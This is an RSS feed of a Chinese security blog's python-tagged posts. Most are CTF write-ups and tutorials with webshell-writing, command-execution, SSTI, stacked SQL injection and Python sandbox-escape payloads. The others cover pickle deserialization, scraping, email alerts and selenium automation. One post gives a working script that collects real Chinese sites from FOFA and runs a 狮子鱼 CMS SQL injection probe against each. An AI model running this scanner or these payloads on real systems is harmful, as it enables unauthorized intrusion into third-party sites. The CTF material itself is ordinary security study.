xiaolong's blog - python
type: channel
link: https://xiaolong22333.top/tag/python/
items: DASCTF7月赋能赛复现
items: ctfshow单身杯
items: python课程设计
items: 爬虫+fofa批量检测狮子鱼sql注入
items: 明日方舟设定集Reset提醒脚本
items: python反序列化漏洞
items: python沙箱逃逸
items: VSCode中python报错No such file or directory
items: BUUCTF刷题记录(持续更新中~)（更新：断更了~~）
items: python+selenium完成健康报告自动提交

DASCTF7月赋能赛复现
type: item
date: 2022-08-01T03:18:00+08:00
description: Ez to getflag图片查看处可以任意文件读取非预期直接读取flagf=/flag预期解file.php<?php error_reporting(0); session_start(); require_once('class.php'); $filename = $_GET['f']; $show = new Show($filename); $show->show(); ?>upload.php<?php error_reporting(0); session_start(); require_once('class.php'); $upload = new Upload(); $upload->uploadfile(); ?>class.php<?php class Upload { public $f; public $fname; public $fsize; function __construct(){ $this->f = $_FILES; } function savefile() { $fname = md5($this->f["file"]["name"]).".png"; if(file_exists('./upload/'.$fname)) { @unlink('./upload/'.$fname); } move_uploaded_file($this->f["file"]["tmp_name"],"upload/" . $fname); echo "upload success! :D"; } function __toString(){ $cont = $this->fname; $size = $this->fsize; echo $cont->$size; return 'this_is_upload'; } function uploadfile() { if($this->file_check()) { $this->savefile(); } } function file_check() { $allowed_types = array("png"); $temp = explode(".",$this->f["file"]["name"]); $extension = end($temp); if(empty($extension)) { echo "what are you uploaded? :0"; return false; } else{ if(in_array($extension,$allowed_types)) { $filter = '/<\?php|php|exec|passthru|popen|proc_open|shell_exec|system|phpinfo|assert|chroot|getcwd|scandir|delete|rmdir|rename|chgrp|chmod|chown|copy|mkdir|file|file_get_contents|fputs|fwrite|dir/i'; $f = file_get_contents($this->f["file"]["tmp_name"]); if(preg_match_all($filter,$f)){ echo 'what are you doing!! :C'; return false; } return true; } else { echo 'png onlyyy! XP'; return false; } } } } class Show{ public $source; public function __construct($fname) { $this->source = $fname; } public function show() { if(preg_match('/http|https|file:|php:|gopher|dict|\.\./i',$this->source)) { die('illegal fname :P'); } else { echo file_get_contents($this->source); $src = "data:jpg;base64,".base64_encode(file_get_contents($this->source)); echo " "; } } function __get($name) { $this->ok($name); } public function __call($name, $arguments) { if(end($arguments)=='phpinfo'){ phpinfo(); …

ctfshow单身杯
type: item
date: 2022-07-11T12:20:00+08:00
description: web签到<?php error_reporting(0); highlight_file(__FILE__); $file = $_POST['file']; if(isset($file)){ if(strrev($file)==$file){ include $file; } }要求file反转后和原来一样用data协议写入file=data://text/plain,<?php eval($_POST[1]);?>>?;)]1[TSOP_$(lave php?<,nialp/txet//:atad&1=system('cat /f1agaaa');easyPHP<?php error_reporting(0); highlight_file(__FILE__); $cmd = $_POST['cmd']; $param = $_POST['param']; if(isset($cmd) && isset($param)){ $cmd=escapeshellcmd(substr($cmd,0,3))." ".escapeshellarg($param)." ".__FILE__; shell_exec($cmd); }cmd=awk&param={system("ls / >a")}cmd=awk&param={system("cat /f1agaaa >a")}不过这个是非预期解预期解的话用sed，不太看得懂cmd=sed&param=/php\|POST\|exec/!dw1.php这样就生成了1.php最后查看可以发现内容为<?php $cmd = $_POST['cmd']; $param = $_POST['param']; shell_exec($cmd);然后就是常规的写马cmd=echo "<?php eval(\$_POST[1]);?>">2.php我按我的理解说一下payload用到的sed的三个参数，!,d,wd：删除某一行!：表示后面的命令对所有没有被选定的行发生作用w：会将匹配后的结果保存到指定文件中所以首先匹配到了有php的那行，有post的那行和有exec的那行，然后将除了这几行外的内容全部删除，剩下的匹配的内容写入1.php姻缘测试def is_hacker(string): """整那些个花里胡哨的waf有啥用，还不如这一个，直接杜绝SSTI""" if "{" in string and "}" in string : return True else: return False 不能同时出现{和}输入a和b所以这里需要分开执行?boy_name={{'&girl_name='.__class__.__base__.__subclasses__()[81].__init__.__globals__.__import__('os').popen('cat%09/flag.txt').read()}}想不通这里为啥分开也可以执行，好奇后端是咋写的

python课程设计
type: item
date: 2022-06-10T10:21:00+08:00
description: python课程设计是写个爬虫，并把结果并把结果数据可视化，想了半天也不知道爬啥，常见的爬评论，爬电影信息什么的实在没什么意义，于是就决定把之前写的爬虫+fofa批量检测狮子鱼sql注入 - xiaolong's blog (xiaolong22333.top)给完善一下，找到漏洞url后去站长工具和爱企查上把企业信息给爬下来，结果发现爱企查有反爬，且页面很奇怪，如果有几页结果的是可以找到pid的，但是如果就一个结果或者一页，找不到pid，总之就是寄了，浪费了我宝贵的一个下午。。。那随便爬吧，爬一下自己博客各个标签的文章占比# -*- coding: utf-8 -*- ''' @File: blog.py @Time: 2022/06/09 21:31:48 @Author: xiaolong @Version: 1.0 @Link: https://xiaolong22333.top ''' import requests import urllib3 import re import pymysql import matplotlib.pyplot as plt urllib3.disable_warnings() #忽略https证书告警 def insert(): for id in range(1,200): req = requests.get(url=url.format(id)) if req.status_code == 200: title = "".join(re.findall('.*? (.*)<\/title>',req.text)) keywords = "".join(re.findall('.*? ',req.text)) print(title,keywords) sql = "insert into blog(id,title,keywords) values (%s,%s,%s)" cursor.execute(sql,(id,title,keywords)) conn.commit() def select(): keywords = ['web','misc','php','ctf','python','漏洞复现','渗透测试','java','漏洞挖掘','src'] num = [] for keyword in keywords: sql = "select count(*) from blog where keywords like '%{}%'".format(keyword) cursor.execute(sql) count = cursor.fetchone() count = "".join(str(x) for x in count) num.append(count) plt.rcParams['font.family'] = 'SimHei' plt.rcParams['axes.unicode_minus']=False plt.subplot(132) plt.title('占比图') plt.pie(num,labels=keywords) # plt.show() plt.savefig("1.png",dpi = 1000) if __name__ == '__main__': url = 'https://xiaolong22333.top/index.php/archives/{}' conn = pymysql.connect(host='localhost', port=3306, user='root', passwd='root', db="test", charset = 'utf8') cursor = conn.cursor() insert() select() cursor.close() conn.close()最终结果如下属实有点丑。。。

爬虫+fofa批量检测狮子鱼sql注入
type: item
date: 2022-05-22T23:27:00+08:00
description: 既然自己挖不到洞，那就去批量刷点现成的洞以狮子鱼的sql注入为例fofa语句"/seller.php?s=/Public/login"poc/index.php?s=api/goods_detail&goods_id=1%20and%20updatexml(1,concat(0x7e,database(),0x7e),1)本来是想用调用fofa的api进行批量检测，结果发现普通注册会员不能调api行吧，那只能用爬虫来获取了原本以为挺简单的，很快写完，结果硬是搞了两个晚上，太菜了，呜呜呜。。。脚本# -*- coding: utf-8 -*- ''' @File: fofaCrawler.py @Time: 2022/05/19 22:22:02 @Author: xiaolong @Version: 1.0 @Link: https://xiaolong22333.top ''' import requests import base64 import urllib3 import re urllib3.disable_warnings() #忽略https证书告警 grammar = '"seller.php?s=/Public/login" && country="CN" && is_domain=true' qbase64 = base64.b64encode(grammar .encode("utf-8")) headers = { 'Host': 'fofa.info', 'Upgrade-Insecure-Requests': '1', 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.64 Safari/537.36 Edg/101.0.1210.47', 'cookie': 'xxx' } url = "https://fofa.info/result?qbase64={}&page={}&page_size={}" def select(): urlList = [] for page in range(1,6): selectUrl = url.format(str(qbase64,"utf-8"),page,10) req = requests.get(url=selectUrl, headers=headers) req.encoding = "utf-8" urlList = urlList + re.findall('.*?target="_blank">(.*)',req.text[275000:]) for finurl in urlList: print(finurl) SqlInject(urlList) def SqlInject(urlList): for url in urlList: url = url + '/index.php?s=api/goods_detail&goods_id=1%20and%20updatexml(1,concat(0x7e,database(),0x7e),1)' if 'http' not in url: url = 'http://' + url print("******************************") print("正在测试" + url) try: req = requests.get(url,verify=False) except: continue if 'syntax' in req.text: print("*此地址存在sql注入" + url) print("******************************") if __name__ == '__main__': select() 需要注意的是fofa页面的开头有一段巨长的样式，严重影响正则匹配速度，在获取返回结果时需要截取后面部分最后查找网站备案，查找企业名称、信息啥的ICP备案查询 - 站长工具 爱企查首页参考论萌新的SRC是如何提交100+的漏洞--狮子鱼SQLyyds漏洞挖掘SRC-狮子鱼CMS-SQL注入

明日方舟设定集Reset提醒脚本
type: item
date: 2022-05-01T17:34:00+08:00
description: 前言众所周知，明日方舟的官方美术设定集有那么一点水，于是在收到了众多博士的反馈和建议后，鹰角做了个业界史无前例的决定：将对设定集进行优化，并免费寄给购买了设定集的博士！鹰角yyds！！！各位博士到时需要在这个网站上填写相关信息《明日方舟官方美术设定集VOL.1》RESET版 (hypergryph.com)但是因为疫情原因，网站暂时无法立刻开启登记通道，后续通道开启具体时间将由微博【明日方舟朝陇山】发布但咱平时也不玩微博，可能没法第一时间得到相关信息，别到时候开启了登记通道都不知道，为了避免这样的情况发生，我打算写个脚本监测一下官网，有消息第一时间通知我，借此还能学一学python如何发送邮件python发送邮件发送邮件需要用到SMTP协议需要用到的模块为smtplib和email，Python自带email模块负责构造邮件，smtplib模块负责发送邮件想要发送邮箱，就需要一个SMTP服务器，这里以QQ邮箱为例在设置中开启IMAP/SMTP服务，可以获得授权码，使用这个授权码即可登录QQ邮箱的SMTP服务器再来看一下smtplib模块# 发信服务器 smtp_server = 'smtp.qq.com' server = smtplib.SMTP_SSL()指定SMTP服务器，同时有SSL认证，不用SSL的话是smtplib.SMTP()，但是不安全，现在都是smtplib.SMTP_SSL()还有就是在python 3.7及后面版本这样写会报错server_hostname cannot be an empty string or start with a leading dot，这是因为python 3.7 修改了 ssl.py ，导致了smtplib.SMTP_SSL 的问题，修改为如下即可# 发信服务器 smtp_server = 'smtp.qq.com' server = smtplib.SMTP_SSL(smtp_server)指定了SMTP服务器后进行连接登录# 发信方的信息：发信邮箱，QQ邮箱授权码 from_addr = 'xxx@qq.com' password = '授权码' # SMTP_SSL默认端口为465,SMTP默认端口为25 server.connect(smtp_server,465) server.login(from_addr, password)最后发送邮件并关闭服务器# 发送邮件 server.sendmail(from_addr, to_addr, message.as_string()) # 关闭服务器 server.quit()现在来构造邮件内容from email.mime.text import MIMEText from email.header import Header # 三个参数：第一个为文本内容，第二个 plain 设置文本格式，第三个 utf-8 设置编码 message = MIMEText('hello,world', 'plain', 'utf-8') # 发件人 message['From'] = Header('xiaolong22333') # 收件人 message['To'] = Header('xiaolong') # 标题 message['Subject'] = Header('Python 邮件发送测试')测试一下# -*- coding: utf-8 -*- import smtplib from email.mime.text import MIMEText from email.header import Header # 发信方的信息：发信邮箱，QQ邮箱授权码 from_addr = 'xxx@qq.com' password = '授权码' # 发信服务器 smtp_server = 'smtp.qq.com' # 收信方邮箱 to_addr = 'xxx@qq.com' server = smtplib.SMTP_SSL(smtp_server) server.connect(smtp_server,465) server.login(from_addr, password) # 三个参数：第一个为文本内容，第二个 plain 设置文本格式，第三个 utf-8 设置编码 message = MIMEText('hello,world', 'plain', 'utf-8') # 发件人 message['From'] = Header('xiaolong22333') # 收件人 message['To'] = Header('xiaolong') # 标题 message['Subject'] = Header('Pyt…

python反序列化漏洞
type: item
date: 2022-03-24T17:10:00+08:00
description: 一个普通的序列化和反序列化import pickle data = ['aa', 'bb', 'cc'] #序列化 p = pickle.dumps(data) print(p) #反序列化 d = pickle.loads(p) print(d)需要注意的是不同版本的python序列化的结果是不同的这里主要研究py2那么这个序列化的字符串是按照什么规则生成的呢，这里要涉及到PVM( Python Virtual Machine , Python 虚拟机 )照搬一下大佬的原话：那 PVM 有什么用呢 ? 它的执行流程是怎样的呢 ?先来回答第一个问题在使用 C , C++ 等编译性语言编写的程序时 , 解释器需要先将源代码文件转换成计算机使用的机器语言( 也就是常说的 " 编译 " 过程 ) , 然后经过链接器链接之后形成了二进制可执行文件( 也就是常说的 " 链接 " 过程 ) . 运行该程序的时候 , 计算机会将二进制可执行文件从硬盘载入到内存中并运行 .但是对于 Python 而言 , 它可以直接从源代码运行程序 . Python解释器会将源代码编译为字节码 , 然后将编译后的字节码转发到 Python 虚拟机中执行 .所以说 PVM 的作用非常简单 , 它是一个用来解释字节码的解释引擎 .再来回答第二个问题一般来说 , 当运行 Python 程序时 , PVM 会执行两个步骤 .首先 , PVM 会把源代码编译成字节码 . 字节码是 Python 语言特有的一种表现形式 , 它不是二进制机器码 , 需要进一步编译才能被机器执行 . 如果 Python 进程在主机上有写入权限 , 那么它会把程序字节码保存为一个以 .pyc 为扩展名的文件 . 如果没有写入权限 , 则 Python 进程会在内存中生成字节码 , 在程序执行结束后被自动丢弃 .一般来说 , 在构建程序时最好给 Python 进程在主机上的写入权限 , 这样只要源代码没有改变 , 生成的 .pyc 文件就可以被重复利用 , 提高执行效率 , 同时隐藏源代码 .然后 , Python 进程会把编译好的字节码转发到 PVM( Python 虚拟机 ) 中 , PVM会循环迭代执行字节码指令 , 直到所有操作被完成 .那么 PVM 和 Pickle模块/序列化过程/反序列化过程 有什么联系呢 ?Pickle是一门基于栈的编程语言 , 有不同的编写方式 , 其本质就是一个轻量级的 PVM .这个轻量级的 PVM 由三个部分组成 , 如下所示指令处理器( Instruction processor )从数据流中读取操作码和参数 , 并对其进行解释处理 . 指令处理器会循环执行这个过程 , 不断改变 stack 和 memo 区域的值 . 直到遇到 " . " 这个结束符号 . 这时 , 最终停留在栈顶的的值将会被作为反序列化对象返回 .栈区( stack )由 Python 的列表( list )实现 , 作为流数据处理过程中的暂存区 , 在不断的进出栈过程中完成对数据流的反序列化操作，并最终在栈顶生成反序列化的结果标签区( memo )由 Python 的字典( dict )实现 , 可以看作是数据索引或者标记 , 为 PVM 的整个生命周期提供存储功能 .常见的指令c : 读取本行的内容作为模块名( module ) , 读取下一行的内容作为对象名( object ) . 然后将 module.object 作为可调用对象压入到栈中 ( : 将一个标记对象压入到栈中 , 用于确定命令执行的位置 . 该标记常常搭配 t 指令一起使用 , 以便产生一个元组 S : 后面跟字符串 , PVM会读取引号中的内容 , 直到遇见换行符 , 然后将读取到的内容压入到栈中 t : 从栈中不断弹出数据 , 弹射顺序与压栈时相同 , 直到弹出左括号 . 此时弹出的内容形成了一个元组 , 然后 , 该元组会被压入栈中 R : 将之前压入栈中的元组和可调用对象全部弹出 , 然后将该元组作为可调用参数的对象并执行该对象 .最后将结果压入到栈中 a : 将栈的第一个元素append到第二个元素(列表)中 p : 将栈顶对象储存至memo_n l : 寻找栈中的上一个标记对象，并组合之间的数据为列表 . : 结束整个 Pickle 反序列化过程再来看一下开头的例子(lp0 #将一个标记对象压入栈中，标记对象之间的数据为列表，并将将栈顶对象储存至memo中，编号为0 S'aa' #将aa压入栈中 p1 #将栈顶元素aa存储在memo中 aS'bb' #将栈的第一个元素append到第二个元素(列表)中,将bb压入栈中 p2 #将栈顶元素bb存储在memo中 aS'cc' #将栈的第一个元素appe…

python沙箱逃逸
type: item
date: 2022-03-07T14:25:00+08:00
description: 感觉跟模板注入差不多，或者说模板注入本质上就是沙箱逃逸？沙箱：沙箱是一种按照安全策略限制程序行为的执行环境。早期主要用于测试可疑软件等，比如黑客们为了试用某种病毒或者不安全产品，往往可以将它们在沙箱环境中运行。经典的沙箱系统的实现途径一般是通过拦截系统调用，监视程序行为，然后依据用户定义的策略来控制和限制程序对计算机资源的使用，比如改写注册表，读写磁盘等。沙箱逃逸,就是在给我们的一个代码执行环境下，脱离种种过滤和限制,最终成功拿到shell权限的过程。其实就是闯过重重黑名单，最终拿到系统命令执行权限的过程。dir() 用于展示一个对象的属性有哪些 __dict__ 以字典的格式列出来这个类中所支持的方法，属性 __subclasses__() 查看当前类的子类 __dict__魔术方法 以字典的格式列出来这个类中所支持的方法，属性 __getattribute__魔术方法 取得字典中的某种方法如果过滤了一些危险函数、模块，比如os，这时可以通过继承关系，找到有os相关方法的类，以python2为例首先找到一个有用的子类().__class__.__base__.__subclasses__()这可以列出object的所有子类，其中有个warnings.catch_warnings，在第61个位置，里面有个操作文件的模块linecache而linecache又调用了os，这样就可以命令执行了如果说不能出现一些敏感字符的话，可以用字符串拼接或者编码绕过().__class__.__base__.__subclasses__()[60].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__['os'].__dict__['system']('dir')().__class__.__base__.__subclasses__()[60].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('dir')().__class__.__base__.__subclasses__()[60].__init__.func_globals['linecache'].__dict__['b3M='.decode('base64')].__dict__['c3lzdGVt'.decode('base64')]('dir')沙箱逃逸题的关键在于绕过，需要用一些特别的操作去绕过他ban掉的函数简单梳理一下可利用的方法，模块及绕过调用了os的模块//Python 2.7.17 59<class 'warnings.WarningMessage'> 90<class 'warnings.catch_warnings'> 40< type 'file'> 72<class 'site._Printer'> 73<class 'site._Helper'> 77<class 'site.Quitter'>osimport os os.system('dir') os.popen('dir').read()platformimport platform platform.popen('dir').read() platform.os.system('dir')subprocess__builtins__.__dict__['__import__']('subprocess').__dict__['Popen'](['dir'])commands 好像只适用于linuxtimeitimport timeit timeit.timeit("__import__('os').system('dir')") timeit还可以sleep盲注globals[].__class__.__base__.__subclasses__()[72].__init__.__globals__['os'].system('dir')builtinspython的内建函数，里面有很多有用的函数，其中最好用的就是__import__，有了这就可以导入上述的任意模块__builtins__.__dict__['__import__']('os').__dict__['system']('dir')reload有时候会将__builtins__中的一些方法移出这时只要reload一下即可但Python 3.0把reload内置函数移到了imp标准库模块中reload(__builtins__)绕过'X19pbXBvcnRfXw=='.decode('base64') => '__import__' ''.join(['_…

VSCode中python报错No such file or directory
type: item
date: 2021-08-04T17:09:00+08:00
description: 当前目录为D:\work\python\filetest，目录下放有py文件和要读取的文件test.py内容如下with open('1.txt') as file_name: name = file_name.read() print(name)但运行后会报错FileNotFoundError: [Errno 2] No such file or directory: '1.txt'这怎么回事，明明1.txt在同一目录啊，并且命令行直接运行也没问题排查后发现为vscode的问题我vscode的工作目录一直都是work，但文件是放在\work\python\filetes目录下的解决办法：读取的文件路径写全python\\filetest\\1.txt，或者写绝对路径D:\\work\\python\\filetest\\1.txt或者cd到当前目录或者右键文件夹打开vscode，这样工作目录就是当前目录了当然，理想中的情况应该是当前文件在哪个目录，工作目录就在哪个目录，可惜搞半天还不会，暂时这么用用吧。

BUUCTF刷题记录(持续更新中~)（更新：断更了~~）
type: item
date: 2021-04-03T22:34:00+08:00
description: 之前陆陆续续做过一些题，但都没有记录，这次打算巩固一下，记录下来。[HCTF 2018]WarmUp<?php highlight_file(__FILE__); class emmm { public static function checkFile(&$page) { $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; if (! isset($page) || !is_string($page)) { echo "you can't see it"; return false; } if (in_array($page, $whitelist)) { return true; } $_page = mb_substr( $page, 0, mb_strpos($page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } $_page = urldecode($page); $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } echo "you can't see it"; return false; } } if (! empty($_REQUEST['file']) && is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file']) ) { include $_REQUEST['file']; exit; } else { echo " "; } ?>最终目标是要利用include包含ffffllllaaaagggg，想执行include就需要(! empty($_REQUEST['file'])&& is_string($_REQUEST['file'])&& emmm::checkFile($_REQUEST['file']))这三项都为true! empty($_REQUEST['file'])只要输入了就为trueis_string($_REQUEST['file'])需要输入的是字符串才为trueemmm::checkFile($_REQUEST['file'])是重点，它调用了emm类中的checkFile方法，输入的参数需要满足白名单也就是source.php或者hint.php，并且得包含?，所以payload为source.php?file=hint.php?/../../../../../../ffffllllaaaagggg[极客大挑战 2019]EasySQL随便试了一下，秒了username=admin' or 1=1--+&password='[强网杯 2019]随便注很经典的一题，堆叠注入，后面还有它的变种：[GYCTF2020]Blacklist(查库) 1';show databases;# (查表) 1';show tables;# (查列) 1';show columns from `words`; 1';show columns from `1919810931114514`;解法1发现1919810931114514表中有flag，而words表中则是id和data，也就是说它原本是读取words表中的内容，我们只需要把words换成1919810931114514，将id列换成flag列就能读取flag了，1';rename table `words` to `word1`;rename table `1919810931114514` to `words`;alter table `words` change flag id varchar(100);#然后再1'or 1=1#就有flag了解法2预处理比如 set @xl='1919810931114514'; 存储表名 set @sql=concat('select * from',@xl); 存储sql语句 char(115,101,108,101,99,116) select prepare xiaolong from @sql; 预定义sql语句 execute xiaolong; 执行预定义sql语句测试发现还有strstr函数，大小写绕过即可1';SET @sql=concat(char(115,101,108,101,99,116),'* from `1919810931114514`');PREPARE xiaolon…

python+selenium完成健康报告自动提交
type: item
date: 2021-01-28T14:17:00+08:00
description: 准备selenium模块，chrome,对应chrome版本的chromedriver，一台服务器脚本功能首先在登录页面登录，然后点击提交健康报告的链接跳转到提交页面，最后点击提交按钮，成功后再点击确认。代码首先放上完整代码from selenium import webdriver import time username = 'xxx' #你的用户名 password = 'xxx' #你的密码 url = 'xxx' #你的签到网站 driver = webdriver.Chrome() driver.get(url) #控制浏览器打开url time.sleep(3) #等待页面加载3秒，很重要 driver.find_element_by_xpath('/html/body/div[1]/div[2]/div[1]/ul/li[1]/div[2]/input').send_keys(username) #找到username位置，并把用户名输进去 driver.find_element_by_xpath('/html/body/div[1]/div[2]/div[1]/ul/li[2]/div[2]/input').send_keys(password) #找到password位置，并把密码输进去 driver.find_element_by_xpath('/html/body/div[1]/div[2]/div[1]/ul/button').click() #点击登录按钮 time.sleep(3) #等待页面加载3秒，很重要 driver.find_element_by_xpath('/html/body/div[1]/div[3]/div/ul/li[2]/a').click() #点击提交健康报告的链接 time.sleep(3) #等待页面加载3秒，很重要 driver.find_element_by_xpath('/html/body/div[1]/div[3]/div[2]/div[2]/button').click() #点击提交按钮 time.sleep(3) #等待页面加载3秒，很重要 driver.find_element_by_xpath('/html/body/div[4]/div[3]/a').click() #点击确认按钮 driver.close() #关闭浏览器注意点先说我觉得最重要的一点time.sleep(3) #等待页面加载3秒，很重要等待加载很重要！等待加载很重要！等待加载很重要！重要事情说3遍！不加这句代码可能会导致页面没加载出来就去定位元素，结果当然是找不到元素，而你还不知道到底哪里出问题了（别问我怎么知道的，说多了都是泪(ノ｀Д´)ノ）然后解释下这个driver.find_element_by_xpath('/html/body/div[1]/div[2]/div[1]/ul/li[1]/div[2]/input').send_keys(username)这是根据xpath路径找到对应的元素，中间双引号里的东西就是xpath路径下面以chrome为例演示如何找到xpath路径在网页输入框点击右键->检查然后Copy XPath或Copy full XPath按钮和链接位置也是通过这样定位改进上述脚本的运行是有界面模式，就是运行是会跳出浏览器界面然后进行一系列操作，而现在我们需要一个无界面模式运行的脚本，这样才能放在服务器上定时运行，从而真正实现自动提交功能。所以对脚本稍作改进。from selenium import webdriver from selenium.webdriver.chrome.options import Options import time username = 'xxx' password = 'xxx' url = 'xxx' chrome_options = Options() chrome_options.add_argument('--no-sandbox') chrome_options.add_argument('window-size=1920x3000') chrome_options.add_argument('--disable-gpu') chrome_options.add_argument('--hide-scrollbars') chrome_options.add_argument('blink-settings=imagesEnabled=false') chrome_options.add_argument('--headless') driver=webdriver.Chrome(options=chrom…